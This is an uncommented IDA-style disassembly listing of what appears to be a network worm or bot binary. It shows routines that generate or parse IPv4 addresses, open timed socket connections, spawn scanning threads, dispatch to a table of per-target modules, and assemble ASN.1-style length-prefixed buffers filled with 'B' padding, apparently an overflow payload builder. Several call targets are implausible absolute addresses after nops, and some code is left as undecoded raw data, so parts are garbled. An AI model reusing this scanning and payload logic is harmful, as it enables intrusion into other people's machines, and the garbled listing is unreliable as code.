		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_41CCE3
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_40C304
		call	sub_41C2C2
		mov	[ebp+var_C], eax


loc_40C304:				; CODE XREF: sub_40C2AF+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_40C311
		call	sub_41C2C2
		mov	[ebp+var_8], eax


loc_40C311:				; CODE XREF: sub_40C2AF+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_40C31E
		call	sub_41C2C2
		mov	[ebp+var_4], eax


loc_40C31E:				; CODE XREF: sub_40C2AF+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_40C32A
		call	sub_41C2C2


loc_40C32A:				; CODE XREF: sub_40C2AF+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_4CBB20[ecx*8], eax


loc_40C348:				; CODE XREF: sub_40C2AF+26j
		pop	esi
		leave
		retn
sub_40C2AF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C34B	proc near		; CODE XREF: ___:0040BBBEp
					; sub_40C3E8+BBp ...

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_4CBA54
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40C374
		xor	eax, eax
		jmp	short loc_40C3E3
; ---------------------------------------------------------------------------


loc_40C374:				; CODE XREF: sub_40C34B+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_4CB9D4
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CBA70
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_4CB97C
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_4CB9BC
		push	esi
		mov	edi, eax
		call	dword_4CBA6C
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_40C3E3:				; CODE XREF: sub_40C34B+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C34B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C3E8	proc near		; DATA XREF: sub_40C3E8+353o

var_29C		= dword	ptr -29Ch
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_1CC		= byte ptr -1CCh
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_14C		= byte ptr -14Ch
var_140		= byte ptr -140h
var_13C		= byte ptr -13Ch
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		nop
		call	near ptr 26A07AFh
		push	eax
		call	sub_41C2B8
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h


loc_40C42F:				; CODE XREF: sub_40C3E8+204j
		mov	eax, dword_43E914[ebx]
		cmp	dword_4CBB24[eax*8], 0
		jz	loc_40C5F1
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_40C459
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_40C2AF
		pop	ecx
		jmp	short loc_40C45E
; ---------------------------------------------------------------------------


loc_40C459:				; CODE XREF: sub_40C3E8+60j
		call	sub_40C267


loc_40C45E:				; CODE XREF: sub_40C3E8+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_43E914[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_431E64
		push	eax
		call	sub_41C266
		add	esp, 18h
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_43E710[ebx]
		push	eax
		call	sub_41C266
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_40C34B
		add	esp, 14h
		cmp	eax, 1
		jnz	loc_40C5E1
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_40C535
		push	offset dword_4CDB20
		nop
		call	near ptr 77F7E21Fh
		push	[ebp+var_3C]
		push	edi
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_431E3C
		push	eax
		call	sub_41C266
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_40C517
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C50B
		lea	eax, [ebp+var_140]


loc_40C50B:				; CODE XREF: sub_40C3E8+11Bj
		push	eax
		push	[ebp+var_40]
		call	sub_409869
		add	esp, 14h


loc_40C517:				; CODE XREF: sub_40C3E8+100j
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_415D38
		mov	[esp+29Ch+var_29C], offset dword_4CDB20
		nop
		call	near ptr 77F7E300h
		jmp	loc_40C5E1
; ---------------------------------------------------------------------------


loc_40C535:				; CODE XREF: sub_40C3E8+D0j
		push	edi
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_41C266
		mov	eax, [ebp+var_20]
		pop	ecx
		shl	eax, 6
		pop	ecx
		add	eax, offset aSym ; "sym"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_41C266
		cmp	[ebp+var_C0], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C57A
		lea	eax, [ebp+var_140]


loc_40C57A:				; CODE XREF: sub_40C3E8+18Aj
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_41C266
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		pop	ecx
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		sub	esp, 0BCh
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		push	2Fh
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_168], esi
		mov	[ebp+var_164], eax
		lea	esi, [ebp+var_20C]
		mov	edi, esp
		shl	eax, 6
		rep movsd
		call	off_4317FC[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh


loc_40C5E1:				; CODE XREF: sub_40C3E8+C6j
					; sub_40C3E8+148j
		push	7D0h
		nop
		call	near ptr 2680EF8h
		jmp	loc_40C42F
; ---------------------------------------------------------------------------


loc_40C5F1:				; CODE XREF: sub_40C3E8+55j
		push	esi
		call	sub_40B6D6
		pop	ecx
		push	0
		nop
		call	near ptr 26F0A80h


loc_40C600:				; DATA XREF: sub_401ACD+1F2Ao
					; sub_401ACD+5B7Ao
		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_4CBA14
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_4CBB20[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40BD91
		push	0Bh
		call	sub_40B602
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_40C6CE
		mov	esi, offset dword_4CDB20
		push	esi
		call	near ptr 27001AFh
		nop
		push	80000400h
		push	esi
		nop
		call	near ptr 2700000h
		test	eax, eax
		jnz	short loc_40C6CE
		lea	eax, [ebp+var_1CC]
		push	offset unk_431F48
		push	eax
		call	sub_41C266
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_40C6B8
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409869
		add	esp, 14h


loc_40C6B8:				; CODE XREF: sub_40C3E8+2B1j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_415D38
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_40C6CE:				; CODE XREF: sub_40C3E8+27Bj
					; sub_40C3E8+297j
		mov	eax, [ebp+var_2C]
		mov	esi, dword_427080
		mov	edi, ebx
		mov	dword_4CBB24[eax*8], ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_40C79B


loc_40C6EC:				; CODE XREF: sub_40C3E8+3ADj
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431F14
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	0Bh
		push	eax
		call	sub_40B3BA
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	dword_43E914[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_40C3E8
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40C766


loc_40C75B:				; CODE XREF: sub_40C3E8+37Cj
		cmp	[ebp+var_4], ebx
		jnz	short loc_40C78D
		push	1Eh
		call	esi
		jmp	short loc_40C75B
; ---------------------------------------------------------------------------


loc_40C766:				; CODE XREF: sub_40C3E8+371j
		call	near ptr 269086Bh
		nop
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431EDC
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_415D38
		add	esp, 10h


loc_40C78D:				; CODE XREF: sub_40C3E8+376j
		push	1Eh
		call	esi
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_40C6EC


loc_40C79B:				; CODE XREF: sub_40C3E8+2FEj
		cmp	[ebp+var_30], ebx
		jz	loc_40C845
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi


loc_40C7B0:				; CODE XREF: sub_40C3E8+468j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_4CBB20[eax*8]
		push	eax
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431E9C
		push	eax
		call	sub_41C266
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_40C7FE
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409869
		add	esp, 14h


loc_40C7FE:				; CODE XREF: sub_40C3E8+3F7j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_415D38
		mov	eax, [ebp+var_2C]
		mov	[esp+29Ch+var_29C], 0BB8h
		mov	dword_4CBB24[eax*8], ebx
		call	esi
		push	0Bh
		call	sub_40B602
		cmp	eax, 1
		pop	ecx
		jnz	short loc_40C835
		push	offset dword_4CDB20
		nop
		call	near ptr 27001AFh


loc_40C835:				; CODE XREF: sub_40C3E8+440j
		push	[ebp+var_2C]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		nop
		call	near ptr 26F0A80h


loc_40C845:				; CODE XREF: sub_40C3E8+3B6j
					; sub_40C3E8+475j
		mov	eax, [ebp+var_2C]
		cmp	dword_4CBB24[eax*8], 1
		jnz	loc_40C7B0
		push	7D0h
		call	esi
		jmp	short loc_40C845
sub_40C3E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C85F	proc near

var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0BCh
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_BC]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A8h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_38]
		call	dword_4CB9D4
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_4CBA54
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40C91D
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4CB97C
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_43E91C[ecx], esi
		jz	short loc_40C91D
		push	[ebp+var_38]
		push	[ebp+var_28]
		call	dword_4CBA60
		push	eax
		mov	edi, offset dword_4CE4E4
		push	offset dword_431F7C
		push	edi
		call	sub_41C266
		push	0
		lea	eax, [ebp+var_B8]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_BC]
		call	sub_409869
		push	edi
		call	sub_415D38
		add	esp, 28h


loc_40C91D:				; CODE XREF: sub_40C85F+5Dj
					; sub_40C85F+7Ej
		push	esi
		call	dword_4CBA6C
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_40C85F	endp

; ---------------------------------------------------------------------------
dword_40C92C	dd 81EC8B55h, 134ECh, 5D8B5300h, 6A575608h, 59F38B2Bh
					; DATA XREF: sub_401ACD+5F60o
		dd 0FF4CBD8Dh, 0A5F3FFFFh, 7080358Bh, 83C70042h, 0A4h
		dd 1, 75FFFF33h, 0E075FFD0h, 0BA6015FFh, 8D50004Ch, 0FFFECC85h
		dd 1FA468FFh, 0E8500043h, 0F8EEh, 0FECC858Dh, 0FF68FFFFh
		dd 50000001h, 69DC458Bh, 234C0h, 0E7100500h, 0E8500043h
		dd 0F638h, 8D1CC483h, 8D50F845h, 0FFFF4C85h, 685057FFh
		dd 40C85Fh, 4DE85757h, 90022836h, 4589C73Bh, 390B74FCh
		dd 675F47Dh, 0D6FF326Ah, 75FFF5EBh, 3DA2E8FCh, 0FF900226h
		dd 8CB3h, 0A8BB8900h, 0FF000000h, 0E0458DD6h, 8D50046Ah
		dd 0E8500845h, 10334h, 0FF0CC483h, 15FF0875h, 4CB8FCh
		dd 45895040h, 0D015FF08h, 89004CB9h, 458D0845h,	50046A08h
		dd 50E0458Dh, 1030BE8h,	0CC48300h, 0FFFF3DE9h
		db 0FFh
byte_40CA1D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+5C80o
		dd 130EC81h, 8B530000h,	5756085Dh, 0F38B2B6Ah, 50BD8D59h
		dd 0F3FFFFFFh, 80358BA5h, 0C7004270h, 0A483h, 100h, 0FFFF3300h
		dd 75FFD475h, 6015FFE4h, 50004CBAh, 0FED0858Dh,	0F868FFFFh
		dd 5000431Fh, 0F7FDE8h,	0D0858D00h, 68FFFFFEh, 1FFh, 0E0458B50h
		dd 234C069h, 10050000h,	500043E7h, 0F547E8h, 1CC48300h
		dd 50FC458Dh, 0FF50858Dh, 5057FFFFh, 40C85F68h,	0E8575700h
		dd 228355Ch, 89C73B90h,	0B740845h, 75F87D39h, 0FF326A06h
		dd 0FFF5EBD6h, 0E8900875h, 2263CB0h, 8CB3FFh, 0BB890000h
		dd 0A8h, 458BD6FFh, 0D8453BD4h,	45FF0874h, 0FF6DE9D4h
		dd 75FFFFFFh, 6015FFE4h, 50004CBAh, 0FED0858Dh,	0CC68FFFFh
		dd 5000431Fh, 0F76DE8h,	858D5700h, 0FFFFFED0h, 50EC75FFh
		dd 0FF54858Dh, 0FF50FFFFh, 0FFFF50B5h, 0CD53E8FFh, 75FFFFFFh
		dd 0EBB8E8E0h, 0C483FFFFh, 5FC03324h, 0C2C95B5Eh
		db 4, 0

; =============== S U B	R O U T	I N E =======================================



sub_40CB2A	proc near		; CODE XREF: sub_40CD9E+Ep
					; sub_40CD9E+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_40CB2A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CB34	proc near		; CODE XREF: sub_40CD9E+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		call	sub_41BEB5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_40CB66
		push	ebx
		push	0
		push	edi
		call	sub_41BF70
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_41CD20
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi


loc_40CB66:				; CODE XREF: sub_40CB34+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40CB34	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CB6E	proc near		; CODE XREF: sub_40CC68+18p
					; sub_40CCE2+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40CBBA
		push	edi
		push	0
		push	esi
		call	sub_41BF70
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_41CD20
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_41CD20
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi


loc_40CBBA:				; CODE XREF: sub_40CB6E+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_40CB6E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CBC3	proc near		; CODE XREF: sub_40CC68+5Ep
					; sub_40CC68+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40CBD3
		push	eax
		call	sub_41BA91
		pop	ecx


loc_40CBD3:				; CODE XREF: sub_40CBC3+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_40CBC3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CBDC	proc near		; CODE XREF: sub_40CC68+20p
					; sub_40CD43+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_40CC09
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax
		call	sub_41BEB5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40CC0D


loc_40CC09:				; CODE XREF: sub_40CBDC+Dj
		xor	al, al
		jmp	short loc_40CC64
; ---------------------------------------------------------------------------


loc_40CC0D:				; CODE XREF: sub_40CBDC+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax
		push	0
		push	edi
		call	sub_41BF70
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_40CC32
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_40CC4C
; ---------------------------------------------------------------------------


loc_40CC32:				; CODE XREF: sub_40CBDC+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4]
		lea	eax, [edi+3]
		push	dword ptr [esi]


loc_40CC4C:				; CODE XREF: sub_40CBDC+54j
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_41BA91
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1


loc_40CC64:				; CODE XREF: sub_40CBDC+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40CBDC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CC68	proc near		; CODE XREF: sub_40CD9E+89p
					; sub_40CD9E+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset word_4CB88C
		call	sub_40CB6E
		lea	ecx, [ebp+var_8]
		call	sub_40CBDC
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_41BEB5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40CCA2
		xor	al, al
		jmp	short loc_40CCDE
; ---------------------------------------------------------------------------


loc_40CCA2:				; CODE XREF: sub_40CC68+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_41BF70
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_41CD20
		add	esp, 18h
		mov	ecx, esi
		call	sub_40CBC3
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_40CBC3
		mov	al, 1


loc_40CCDE:				; CODE XREF: sub_40CC68+38j
		pop	edi
		pop	esi
		leave
		retn
sub_40CC68	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CCE2	proc near		; CODE XREF: sub_40CD16+14p
					; sub_40CD33+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_40CB6E
		mov	ecx, esi
		call	sub_40CBC3
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_40CCE2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CD16	proc near		; CODE XREF: sub_40CD9E+F0p
					; sub_40CD9E+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41B9C0
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_40CCE2
		pop	esi
		retn	4
sub_40CD16	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CD33	proc near		; CODE XREF: sub_40CD7F+Bp
					; sub_40CD9E+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40CCE2
		retn	8
sub_40CD33	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CD43	proc near		; CODE XREF: sub_40CD7F+16p
					; sub_40CD9E+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_40CBDC
		test	al, al
		jz	short loc_40CD7C
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	offset dword_42CC80
		call	sub_40CB6E
		mov	ecx, esi
		call	sub_40CBC3
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1


loc_40CD7C:				; CODE XREF: sub_40CD43+Fj
		pop	esi
		leave
		retn
sub_40CD43	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CD7F	proc near		; CODE XREF: sub_40CD9E+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40CD33
		test	al, al
		jz	short loc_40CD9A
		mov	ecx, esi
		call	sub_40CD43


loc_40CD9A:				; CODE XREF: sub_40CD7F+12j
		pop	esi
		retn	8
sub_40CD7F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CD9E	proc near		; CODE XREF: ___:0040D625p

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_40CB2A
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_40D0F2
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_40D0F2
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_40CB2A
		lea	ecx, [ebp+var_20]
		call	sub_40CB2A
		lea	ecx, [ebp+var_50]
		call	sub_40CB2A
		lea	ecx, [ebp+var_18]
		call	sub_40CB2A
		lea	ecx, [ebp+var_40]
		call	sub_40CB2A
		lea	ecx, [ebp+var_38]
		call	sub_40CB2A
		lea	ecx, [ebp+var_28]
		call	sub_40CB2A
		push	4
		push	offset dword_432030
		lea	ecx, [ebp+var_30]
		call	sub_40CCE2
		push	3
		push	offset dword_432038
		lea	ecx, [ebp+var_30]
		call	sub_40CCE2
		lea	ecx, [ebp+var_30]
		call	sub_40CC68
		lea	ecx, [ebp+var_30]
		call	sub_40CD43
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset aRbrbrbrb ; "BBBB"
		call	sub_40CCE2
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_40CCE2
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40CCE2
		lea	ecx, [ebp+var_20]
		call	sub_40CC68
		push	offset loc_4323B4
		lea	ecx, [ebp+var_50]
		call	sub_40CD16
